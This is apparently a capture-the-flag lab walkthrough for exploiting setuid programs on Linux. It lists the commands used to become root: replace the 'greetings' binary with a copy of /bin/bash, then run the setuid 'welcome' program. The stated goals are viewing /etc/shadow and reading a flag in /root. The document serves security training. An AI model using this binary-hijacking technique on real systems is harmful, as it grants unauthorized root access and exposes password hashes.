1️⃣1⃣ 1⃣ Exploiting Setuid Programs

Vulnerable setuid programs on Linux systems could lead to privilege escalation attacks.In this lab, you are provided a regular user account and need to escalate your privileges to become root. There are 2 programs in your home directory welcome and greetings which might be vulnerable.

Your mission:

1. Get as root shell on the system

2. View /etc/shadow

3. Retrieve the flag.

Note: Development tools e.g. gcc is installed on the system already.

---

Check for Setuid bit

ls -la

Check for strings in welcome binary

strings welcome

Try to overwrite greetings binary with /bin/bash

cp /bin/bash greetings

Remove greetings binary

rm greetings

Copy bash to current directory with name "greetings"

cp /bin/bash greetings

Execute the welcome binary

./welcome

Retrieve the flag

cd /root/
cat flag